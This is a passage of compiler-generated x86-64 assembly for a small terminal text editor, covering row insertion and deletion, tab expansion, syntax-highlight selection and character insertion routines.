movq -32(%rbp), %rax
movslq %ecx, %rcx
addq %rcx, %rax
movq %rax, -32(%rbp)
movl -72(%rbp), %eax
addl -12(%rbp), %eax
movl %eax, -12(%rbp)
jmp LBB8_54
LBB8_52: ## in Loop: Header=BB8_46 Depth=2
jmp LBB8_53
LBB8_53: ## in Loop: Header=BB8_46 Depth=2
movl -68(%rbp), %eax
addl $1, %eax
movl %eax, -68(%rbp)
jmp LBB8_46
LBB8_54: ## in Loop: Header=BB8_11 Depth=1
movq -40(%rbp), %rax
movslq -68(%rbp), %rcx
cmpq $0, (%rax,%rcx,8)
je LBB8_56
## %bb.55: ## in Loop: Header=BB8_11 Depth=1
movl $0, -16(%rbp)
jmp LBB8_11
LBB8_56: ## in Loop: Header=BB8_11 Depth=1
jmp LBB8_57
LBB8_57: ## in Loop: Header=BB8_11 Depth=1
movq -32(%rbp), %rax
movsbl (%rax), %edi
callq _is_separator
movl %eax, -16(%rbp)
movq -32(%rbp), %rax
addq $1, %rax
movq %rax, -32(%rbp)
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB8_11
LBB8_58:
movq -8(%rbp), %rdi
callq _editorRowHasOpenComment
movl %eax, -80(%rbp)
movq -8(%rbp), %rax
movl 40(%rax), %eax
cmpl -80(%rbp), %eax
je LBB8_61
## %bb.59:
movq -8(%rbp), %rax
movl (%rax), %eax
addl $1, %eax
cmpl _E+24(%rip), %eax
jge LBB8_61
## %bb.60:
movq _E+32(%rip), %rdi
movq -8(%rbp), %rax
movl (%rax), %eax
addl $1, %eax
cltq
imulq $48, %rax, %rax
addq %rax, %rdi
callq _editorUpdateSyntax
LBB8_61:
movl -80(%rbp), %ecx
movq -8(%rbp), %rax
movl %ecx, 40(%rax)
LBB8_62:
addq $96, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorSyntaxToColor ## -- Begin function editorSyntaxToColor
.p2align 4, 0x90
_editorSyntaxToColor: ## @editorSyntaxToColor
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -8(%rbp)
movl -8(%rbp), %eax
addl $-2, %eax
movl %eax, %ecx
movq %rcx, -16(%rbp) ## 8-byte Spill
subl $6, %eax
ja LBB9_7
## %bb.9:
movq -16(%rbp), %rax ## 8-byte Reload
leaq LJTI9_0(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB9_1:
movl $36, -4(%rbp)
jmp LBB9_8
LBB9_2:
movl $33, -4(%rbp)
jmp LBB9_8
LBB9_3:
movl $32, -4(%rbp)
jmp LBB9_8
LBB9_4:
movl $35, -4(%rbp)
jmp LBB9_8
LBB9_5:
movl $31, -4(%rbp)
jmp LBB9_8
LBB9_6:
movl $34, -4(%rbp)
jmp LBB9_8
LBB9_7:
movl $37, -4(%rbp)
LBB9_8:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L9_0_set_1, LBB9_1-LJTI9_0
.set L9_0_set_2, LBB9_2-LJTI9_0
.set L9_0_set_3, LBB9_3-LJTI9_0
.set L9_0_set_4, LBB9_4-LJTI9_0
.set L9_0_set_5, LBB9_5-LJTI9_0
.set L9_0_set_6, LBB9_6-LJTI9_0
LJTI9_0:
.long L9_0_set_1
.long L9_0_set_1
.long L9_0_set_2
.long L9_0_set_3
.long L9_0_set_4
.long L9_0_set_5
.long L9_0_set_6
.end_data_region
## -- End function
.globl _editorSelectSyntaxHighlight ## -- Begin function editorSelectSyntaxHighlight
.p2align 4, 0x90
_editorSelectSyntaxHighlight: ## @editorSelectSyntaxHighlight
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -8(%rbp)
movl $0, -12(%rbp)
LBB10_1: ## =>This Loop Header: Depth=1
## Child Loop BB10_3 Depth 2
movl -12(%rbp), %eax
## kill: def $rax killed $eax
cmpq $1, %rax
jae LBB10_12
## %bb.2: ## in Loop: Header=BB10_1 Depth=1
movl -12(%rbp), %eax
movl %eax, %ecx
leaq _HLDB(%rip), %rax
shlq $5, %rcx
addq %rcx, %rax
movq %rax, -24(%rbp)
movl $0, -28(%rbp)
LBB10_3: ## Parent Loop BB10_1 Depth=1
## => This Inner Loop Header: Depth=2
movq -24(%rbp), %rax
movq (%rax), %rax
movl -28(%rbp), %ecx
## kill: def $rcx killed $ecx
cmpq $0, (%rax,%rcx,8)
je LBB10_10
## %bb.4: ## in Loop: Header=BB10_3 Depth=2
movq -24(%rbp), %rax
movq (%rax), %rax
movl -28(%rbp), %ecx
## kill: def $rcx killed $ecx
movq (%rax,%rcx,8), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -44(%rbp)
movq -8(%rbp), %rdi
movq -24(%rbp), %rax
movq (%rax), %rax
movl -28(%rbp), %ecx
## kill: def $rcx killed $ecx
movq (%rax,%rcx,8), %rsi
callq _strstr
movq %rax, -40(%rbp)
cmpq $0, %rax
je LBB10_9
## %bb.5: ## in Loop: Header=BB10_3 Depth=2
movq -24(%rbp), %rax
movq (%rax), %rax
movl -28(%rbp), %ecx
## kill: def $rcx killed $ecx
movq (%rax,%rcx,8), %rax
movsbl (%rax), %eax
cmpl $46, %eax
jne LBB10_7
## %bb.6: ## in Loop: Header=BB10_3 Depth=2
movq -40(%rbp), %rax
movslq -44(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $0, %eax
jne LBB10_8
LBB10_7:
movq -24(%rbp), %rax
movq %rax, _E+144(%rip)
jmp LBB10_12
LBB10_8: ## in Loop: Header=BB10_3 Depth=2
jmp LBB10_9
LBB10_9: ## in Loop: Header=BB10_3 Depth=2
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB10_3
LBB10_10: ## in Loop: Header=BB10_1 Depth=1
jmp LBB10_11
LBB10_11: ## in Loop: Header=BB10_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB10_1
LBB10_12:
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorUpdateRow ## -- Begin function editorUpdateRow
.p2align 4, 0x90
_editorUpdateRow: ## @editorUpdateRow
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movl $0, -12(%rbp)
movl $0, -16(%rbp)
movq -8(%rbp), %rax
movq 24(%rax), %rdi
callq _free
movl $0, -20(%rbp)
LBB11_1: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
movq -8(%rbp), %rcx
cmpl 4(%rcx), %eax
jge LBB11_6
## %bb.2: ## in Loop: Header=BB11_1 Depth=1
movq -8(%rbp), %rax
movq 16(%rax), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $9, %eax
jne LBB11_4
## %bb.3: ## in Loop: Header=BB11_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
LBB11_4: ## in Loop: Header=BB11_1 Depth=1
jmp LBB11_5
LBB11_5: ## in Loop: Header=BB11_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB11_1
LBB11_6:
movq -8(%rbp), %rax
movl 4(%rax), %eax
movl -12(%rbp), %ecx
shll $3, %ecx
addl %ecx, %eax
imull $9, -16(%rbp), %ecx
addl %ecx, %eax
addl $1, %eax
movslq %eax, %rdi
callq _malloc
movq %rax, %rcx
movq -8(%rbp), %rax
movq %rcx, 24(%rax)
movl $0, -24(%rbp)
movl $0, -20(%rbp)
LBB11_7: ## =>This Loop Header: Depth=1
## Child Loop BB11_10 Depth 2
movl -20(%rbp), %eax
movq -8(%rbp), %rcx
cmpl 4(%rcx), %eax
jge LBB11_16
## %bb.8: ## in Loop: Header=BB11_7 Depth=1
movq -8(%rbp), %rax
movq 16(%rax), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $9, %eax
jne LBB11_13
## %bb.9: ## in Loop: Header=BB11_7 Depth=1
movq -8(%rbp), %rax
movq 24(%rax), %rax
movl -24(%rbp), %ecx
movl %ecx, %edx
addl $1, %edx
movl %edx, -24(%rbp)
movslq %ecx, %rcx
movb $32, (%rax,%rcx)
LBB11_10: ## Parent Loop BB11_7 Depth=1
## => This Inner Loop Header: Depth=2
movl -24(%rbp), %eax
addl $1, %eax
movl $8, %ecx
cltd
idivl %ecx
cmpl $0, %edx
je LBB11_12
## %bb.11: ## in Loop: Header=BB11_10 Depth=2
movq -8(%rbp), %rax
movq 24(%rax), %rax
movl -24(%rbp), %ecx
movl %ecx, %edx
addl $1, %edx
movl %edx, -24(%rbp)
movslq %ecx, %rcx
movb $32, (%rax,%rcx)
jmp LBB11_10
LBB11_12: ## in Loop: Header=BB11_7 Depth=1
jmp LBB11_14
LBB11_13: ## in Loop: Header=BB11_7 Depth=1
movq -8(%rbp), %rax
movq 16(%rax), %rax
movslq -20(%rbp), %rcx
movb (%rax,%rcx), %dl
movq -8(%rbp), %rax
movq 24(%rax), %rax
movl -24(%rbp), %ecx
movl %ecx, %esi
addl $1, %esi
movl %esi, -24(%rbp)
movslq %ecx, %rcx
movb %dl, (%rax,%rcx)
LBB11_14: ## in Loop: Header=BB11_7 Depth=1
jmp LBB11_15
LBB11_15: ## in Loop: Header=BB11_7 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB11_7
LBB11_16:
movl -24(%rbp), %ecx
movq -8(%rbp), %rax
movl %ecx, 8(%rax)
movq -8(%rbp), %rax
movq 24(%rax), %rax
movslq -24(%rbp), %rcx
movb $0, (%rax,%rcx)
movq -8(%rbp), %rdi
callq _editorUpdateSyntax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorInsertRow ## -- Begin function editorInsertRow
.p2align 4, 0x90
_editorInsertRow: ## @editorInsertRow
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
movl -4(%rbp), %eax
cmpl _E+24(%rip), %eax
jle LBB12_2
## %bb.1:
jmp LBB12_9
LBB12_2:
movq _E+32(%rip), %rdi
movl _E+24(%rip), %eax
addl $1, %eax
cltq
imulq $48, %rax, %rsi
callq _realloc
movq %rax, _E+32(%rip)
movl -4(%rbp), %eax
cmpl _E+24(%rip), %eax
je LBB12_8
## %bb.3:
movq _E+32(%rip), %rdi
movslq -4(%rbp), %rax
imulq $48, %rax, %rax
addq %rax, %rdi
addq $48, %rdi
movq _E+32(%rip), %rsi
movslq -4(%rbp), %rax
imulq $48, %rax, %rax
addq %rax, %rsi
movl _E+24(%rip), %eax
subl -4(%rbp), %eax
cltq
imulq $48, %rax, %rdx
movq $-1, %rcx
callq ___memmove_chk
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
LBB12_4: ## =>This Inner Loop Header: Depth=1
movl -28(%rbp), %eax
cmpl _E+24(%rip), %eax
jg LBB12_7
## %bb.5: ## in Loop: Header=BB12_4 Depth=1
movq _E+32(%rip), %rax
movslq -28(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movl (%rax), %ecx
addl $1, %ecx
movl %ecx, (%rax)
## %bb.6: ## in Loop: Header=BB12_4 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB12_4
LBB12_7:
jmp LBB12_8
LBB12_8:
movq -24(%rbp), %rax
movl %eax, %ecx
movq _E+32(%rip), %rax
movslq -4(%rbp), %rdx
imulq $48, %rdx, %rdx
addq %rdx, %rax
movl %ecx, 4(%rax)
movq -24(%rbp), %rdi
addq $1, %rdi
callq _malloc
movq %rax, %rcx
movq _E+32(%rip), %rax
movslq -4(%rbp), %rdx
imulq $48, %rdx, %rdx
addq %rdx, %rax
movq %rcx, 16(%rax)
movq _E+32(%rip), %rax
movslq -4(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq 16(%rax), %rdi
movq -16(%rbp), %rsi
movq -24(%rbp), %rdx
addq $1, %rdx
movq $-1, %rcx
callq ___memcpy_chk
movq _E+32(%rip), %rax
movslq -4(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq $0, 32(%rax)
movq _E+32(%rip), %rax
movslq -4(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movl $0, 40(%rax)
movq _E+32(%rip), %rax
movslq -4(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq $0, 24(%rax)
movq _E+32(%rip), %rax
movslq -4(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movl $0, 8(%rax)
movl -4(%rbp), %ecx
movq _E+32(%rip), %rax
movslq -4(%rbp), %rdx
imulq $48, %rdx, %rdx
addq %rdx, %rax
movl %ecx, (%rax)
movq _E+32(%rip), %rdi
movslq -4(%rbp), %rax
imulq $48, %rax, %rax
addq %rax, %rdi
callq _editorUpdateRow
movl _E+24(%rip), %eax
addl $1, %eax
movl %eax, _E+24(%rip)
movl _E+40(%rip), %eax
addl $1, %eax
movl %eax, _E+40(%rip)
LBB12_9:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorFreeRow ## -- Begin function editorFreeRow
.p2align 4, 0x90
_editorFreeRow: ## @editorFreeRow
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq 24(%rax), %rdi
callq _free
movq -8(%rbp), %rax
movq 16(%rax), %rdi
callq _free
movq -8(%rbp), %rax
movq 32(%rax), %rdi
callq _free
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorDelRow ## -- Begin function editorDelRow
.p2align 4, 0x90
_editorDelRow: ## @editorDelRow
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movl -4(%rbp), %eax
cmpl _E+24(%rip), %eax
jl LBB14_2
## %bb.1:
jmp LBB14_7
LBB14_2:
movq _E+32(%rip), %rax
movslq -4(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq %rax, -16(%rbp)
movq -16(%rbp), %rdi
callq _editorFreeRow
movq _E+32(%rip), %rdi
movslq -4(%rbp), %rax
imulq $48, %rax, %rax
addq %rax, %rdi
movq _E+32(%rip), %rsi
movslq -4(%rbp), %rax
imulq $48, %rax, %rax
addq %rax, %rsi
addq $48, %rsi
movl _E+24(%rip), %eax
subl -4(%rbp), %eax
subl $1, %eax
cltq
imulq $48, %rax, %rdx
movq $-1, %rcx
callq ___memmove_chk
movl -4(%rbp), %eax
movl %eax, -20(%rbp)
LBB14_3: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
movl _E+24(%rip), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jge LBB14_6
## %bb.4: ## in Loop: Header=BB14_3 Depth=1
movq _E+32(%rip), %rax
movslq -20(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movl (%rax), %ecx
addl $1, %ecx
movl %ecx, (%rax)
## %bb.5: ## in Loop: Header=BB14_3 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB14_3
LBB14_6:
movl _E+24(%rip), %eax
addl $-1, %eax
movl %eax, _E+24(%rip)
movl _E+40(%rip), %eax
addl $1, %eax
movl %eax, _E+40(%rip)
LBB14_7:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorRowsToString ## -- Begin function editorRowsToString
.p2align 4, 0x90
_editorRowsToString: ## @editorRowsToString
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq $0, -16(%rbp)
movl $0, -28(%rbp)
movl $0, -32(%rbp)
LBB15_1: ## =>This Inner Loop Header: Depth=1
movl -32(%rbp), %eax
cmpl _E+24(%rip), %eax
jge LBB15_4
## %bb.2: ## in Loop: Header=BB15_1 Depth=1
movq _E+32(%rip), %rax
movslq -32(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movl 4(%rax), %eax
addl $1, %eax
addl -28(%rbp), %eax
movl %eax, -28(%rbp)
## %bb.3: ## in Loop: Header=BB15_1 Depth=1
movl -32(%rbp), %eax
addl $1, %eax
movl %eax, -32(%rbp)
jmp LBB15_1
LBB15_4:
movl -28(%rbp), %ecx
movq -8(%rbp), %rax
movl %ecx, (%rax)
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
movslq -28(%rbp), %rdi
callq _malloc
movq %rax, -16(%rbp)
movq %rax, -24(%rbp)
movl $0, -32(%rbp)
LBB15_5: ## =>This Inner Loop Header: Depth=1
movl -32(%rbp), %eax
cmpl _E+24(%rip), %eax
jge LBB15_8
## %bb.6: ## in Loop: Header=BB15_5 Depth=1
movq -24(%rbp), %rdi
movq _E+32(%rip), %rax
movslq -32(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq 16(%rax), %rsi
movq _E+32(%rip), %rax
movslq -32(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movslq 4(%rax), %rdx
movq $-1, %rcx
callq ___memcpy_chk
movq _E+32(%rip), %rax
movslq -32(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movl 4(%rax), %ecx
movq -24(%rbp), %rax
movslq %ecx, %rcx
addq %rcx, %rax
movq %rax, -24(%rbp)
movq -24(%rbp), %rax
movb $10, (%rax)
movq -24(%rbp), %rax
addq $1, %rax
movq %rax, -24(%rbp)
## %bb.7: ## in Loop: Header=BB15_5 Depth=1
movl -32(%rbp), %eax
addl $1, %eax
movl %eax, -32(%rbp)
jmp LBB15_5
LBB15_8:
movq -24(%rbp), %rax
movb $0, (%rax)
movq -16(%rbp), %rax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorRowInsertChar ## -- Begin function editorRowInsertChar
.p2align 4, 0x90
_editorRowInsertChar: ## @editorRowInsertChar
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl %edx, -16(%rbp)
movl -12(%rbp), %eax
movq -8(%rbp), %rcx
cmpl 4(%rcx), %eax
jle LBB16_2
## %bb.1:
movl -12(%rbp), %eax
movq -8(%rbp), %rcx
subl 4(%rcx), %eax
movl %eax, -20(%rbp)
movq -8(%rbp), %rax
movq 16(%rax), %rdi
movq -8(%rbp), %rax
movl 4(%rax), %eax
addl -20(%rbp), %eax
addl $2, %eax
movslq %eax, %rsi
callq _realloc
movq %rax, %rcx
movq -8(%rbp), %rax
movq %rcx, 16(%rax)
movq -8(%rbp), %rax
movq 16(%rax), %rdi
movq -8(%rbp), %rax
movslq 4(%rax), %rax
addq %rax, %rdi
movslq -20(%rbp), %rdx
movl $32, %esi
movq $-1, %rcx
callq ___memset_chk
movq -8(%rbp), %rax
movq 16(%rax), %rax
movq -8(%rbp), %rcx
movl 4(%rcx), %ecx
addl -20(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
movb $0, (%rax,%rcx)
movl -20(%rbp), %ecx
addl $1, %ecx
movq -8(%rbp), %rax
addl 4(%rax), %ecx
movl %ecx, 4(%rax)
jmp LBB16_3
LBB16_2:
movq -8(%rbp), %rax
movq 16(%rax), %rdi
movq -8(%rbp), %rax
movl 4(%rax), %eax
addl $2, %eax
movslq %eax, %rsi
callq _realloc
movq %rax, %rcx
movq -8(%rbp), %rax
movq %rcx, 16(%rax)
movq -8(%rbp), %rax
movq 16(%rax), %rdi
movslq -12(%rbp), %rax
addq %rax, %rdi
addq $1, %rdi
movq -8(%rbp), %rax
movq 16(%rax), %rsi
movslq -12(%rbp), %rax
addq %rax, %rsi
movq -8(%rbp), %rax
movl 4(%rax), %eax
subl -12(%rbp), %eax
addl $1, %eax
movslq %eax, %rdx
movq $-1, %rcx
callq ___memmove_chk
movq -8(%rbp), %rax
movl 4(%rax), %ecx
addl $1, %ecx
movl %ecx, 4(%rax)
LBB16_3:
movl -16(%rbp), %eax
movb %al, %dl
movq -8(%rbp), %rax
movq 16(%rax), %rax
movslq -12(%rbp), %rcx
movb %dl, (%rax,%rcx)
movq -8(%rbp), %rdi
callq _editorUpdateRow
movl _E+40(%rip), %eax
addl $1, %eax
movl %eax, _E+40(%rip)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorRowAppendString ## -- Begin function editorRowAppendString
.p2align 4, 0x90
_editorRowAppendString: ## @editorRowAppendString
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
movq -8(%rbp), %rax
movq 16(%rax), %rdi
movq -8(%rbp), %rax
movslq 4(%rax), %rsi
addq -24(%rbp), %rsi
addq $1, %rsi
callq _realloc
movq %rax, %rcx
movq -8(%rbp), %rax
movq %rcx, 16(%rax)
movq -8(%rbp), %rax
movq 16(%rax), %rdi
movq -8(%rbp), %rax
movslq 4(%rax), %rax
addq %rax, %rdi
movq -16(%rbp), %rsi
movq -24(%rbp), %rdx
movq $-1, %rcx
callq ___memcpy_chk
movq -24(%rbp), %rdx
movq -8(%rbp), %rax
movslq 4(%rax), %rcx
addq %rdx, %rcx
## kill: def $ecx killed $ecx killed $rcx
movl %ecx, 4(%rax)
movq -8(%rbp), %rax
movq 16(%rax), %rax
movq -8(%rbp), %rcx
movslq 4(%rcx), %rcx
movb $0, (%rax,%rcx)
movq -8(%rbp), %rdi
callq _editorUpdateRow
movl _E+40(%rip), %eax
addl $1, %eax
movl %eax, _E+40(%rip)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorRowDelChar ## -- Begin function editorRowDelChar
.p2align 4, 0x90
_editorRowDelChar: ## @editorRowDelChar
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movq -8(%rbp), %rax
movl 4(%rax), %eax
cmpl -12(%rbp), %eax
jg LBB18_2
## %bb.1:
jmp LBB18_3
LBB18_2:
movq -8(%rbp), %rax
movq 16(%rax), %rdi
movslq -12(%rbp), %rax
addq %rax, %rdi
movq -8(%rbp), %rax
movq 16(%rax), %rsi
movslq -12(%rbp), %rax
addq %rax, %rsi
addq $1, %rsi
movq -8(%rbp), %rax
movl 4(%rax), %eax
subl -12(%rbp), %eax
movslq %eax, %rdx
movq $-1, %rcx
callq ___memmove_chk
movq -8(%rbp), %rdi
callq _editorUpdateRow
movq -8(%rbp), %rax
movl 4(%rax), %ecx
addl $-1, %ecx
movl %ecx, 4(%rax)
movl _E+40(%rip), %eax
addl $1, %eax
movl %eax, _E+40(%rip)
LBB18_3:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorInsertChar ## -- Begin function editorInsertChar
.p2align 4, 0x90
_editorInsertChar: ## @editorInsertChar
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movl _E+8(%rip), %eax
addl _E+4(%rip), %eax
movl %eax, -8(%rbp)
movl _E+12(%rip), %eax
addl _E(%rip), %eax
movl %eax, -12(%rbp)
movl -8(%rbp), %eax
cmpl _E+24(%rip), %eax
jl LBB19_2
## %bb.1:
xorl %eax, %eax
## kill: def $rax killed $eax
movq %rax, -32(%rbp) ## 8-byte Spill
jmp LBB19_3
LBB19_2:
movq _E+32(%rip), %rax
movslq -8(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq %rax, -32(%rbp) ## 8-byte Spill
LBB19_3:
movq -32(%rbp), %rax ## 8-byte Reload
movq %rax, -24(%rbp)
cmpq $0, -24(%rbp)
jne LBB19_8
## %bb.4:
jmp LBB19_5
LBB19_5: ## =>This Inner Loop Header: Depth=1
movl _E+24(%rip), %eax
cmpl -8(%rbp), %eax
jg LBB19_7
## %bb.6: ## in Loop: Header=BB19_5 Depth=1
movl _E+24(%rip), %edi
leaq L_.str.29(%rip), %rsi
xorl %eax, %eax
movl %eax, %edx
callq _editorInsertRow
jmp LBB19_5
LBB19_7:
jmp LBB19_8
LBB19_8:
movq _E+32(%rip), %rax
movslq -8(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq %rax, -24(%rbp)
movq -24(%rbp), %rdi
movl -12(%rbp), %esi
movl -4(%rbp), %edx
callq _editorRowInsertChar
movl _E(%rip), %eax
movl _E+20(%rip), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jne LBB19_10
## %bb.9:
movl _E+12(%rip), %eax
addl $1, %eax
movl %eax, _E+12(%rip)
jmp LBB19_11
LBB19_10:
movl _E(%rip), %eax
addl $1, %eax
movl %eax, _E(%rip)
LBB19_11:
movl _E+40(%rip), %eax
addl $1, %eax
movl %eax, _E+40(%rip)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorInsertNewline ## -- Begin function editorInsertNewline
.p2align 4, 0x90
_editorInsertNewline: ## @editorInsertNewline
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl _E+8(%rip), %eax
addl _E+4(%rip), %eax
movl %eax, -4(%rbp)
movl _E+12(%rip), %eax
addl _E(%rip), %eax
movl %eax, -8(%rbp)
movl -4(%rbp), %eax
cmpl _E+24(%rip), %eax
jl LBB20_2
## %bb.1:
xorl %eax, %eax
## kill: def $rax killed $eax
movq %rax, -24(%rbp) ## 8-byte Spill
jmp LBB20_3
LBB20_2:
movq _E+32(%rip), %rax
movslq -4(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq %rax, -24(%rbp) ## 8-byte Spill
LBB20_3:
movq -24(%rbp), %rax ## 8-byte Reload
movq %rax, -16(%rbp)
cmpq $0, -16(%rbp)
jne LBB20_7
## %bb.4:
movl -4(%rbp), %eax
cmpl _E+24(%rip), %eax
jne LBB20_6
## %bb.5:
movl -4(%rbp), %edi
leaq L_.str.29(%rip), %rsi
xorl %eax, %eax
movl %eax, %edx
callq _editorInsertRow
jmp LBB20_13
LBB20_6:
jmp LBB20_17
LBB20_7:
movl -8(%rbp), %eax
movq -16(%rbp), %rcx
cmpl 4(%rcx), %eax
jl LBB20_9
## %bb.8:
movq -16(%rbp), %rax
movl 4(%rax), %eax
movl %eax, -8(%rbp)
LBB20_9:
cmpl $0, -8(%rbp)
jne LBB20_11
## %bb.10:
movl -4(%rbp), %edi
leaq L_.str.29(%rip), %rsi
xorl %eax, %eax
movl %eax, %edx
callq _editorInsertRow
jmp LBB20_12
LBB20_11:
movl -4(%rbp), %edi
addl $1, %edi
movq -16(%rbp), %rax
movq 16(%rax), %rsi
movslq -8(%rbp), %rax
addq %rax, %rsi
movq -16(%rbp), %rax
movl 4(%rax), %eax
subl -8(%rbp), %eax
movslq %eax, %rdx
callq _editorInsertRow
movq _E+32(%rip), %rax
movslq -4(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq %rax, -16(%rbp)
movq -16(%rbp), %rax
movq 16(%rax), %rax
movslq -8(%rbp), %rcx
movb $0, (%rax,%rcx)
movl -8(%rbp), %ecx
movq -16(%rbp), %rax
movl %ecx, 4(%rax)
movq -16(%rbp), %rdi
callq _editorUpdateRow
LBB20_12:
jmp LBB20_13
LBB20_13:
movl _E+4(%rip), %eax
movl _E+16(%rip), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jne LBB20_15
## %bb.14:
movl _E+8(%rip), %eax
addl $1, %eax
movl %eax, _E+8(%rip)
jmp LBB20_16
LBB20_15:
movl _E+4(%rip), %eax
addl $1, %eax
movl %eax, _E+4(%rip)
LBB20_16:
movl $0, _E(%rip)
movl $0, _E+12(%rip)
LBB20_17:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorDelChar ## -- Begin function editorDelChar
.p2align 4, 0x90
_editorDelChar: ## @editorDelChar
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
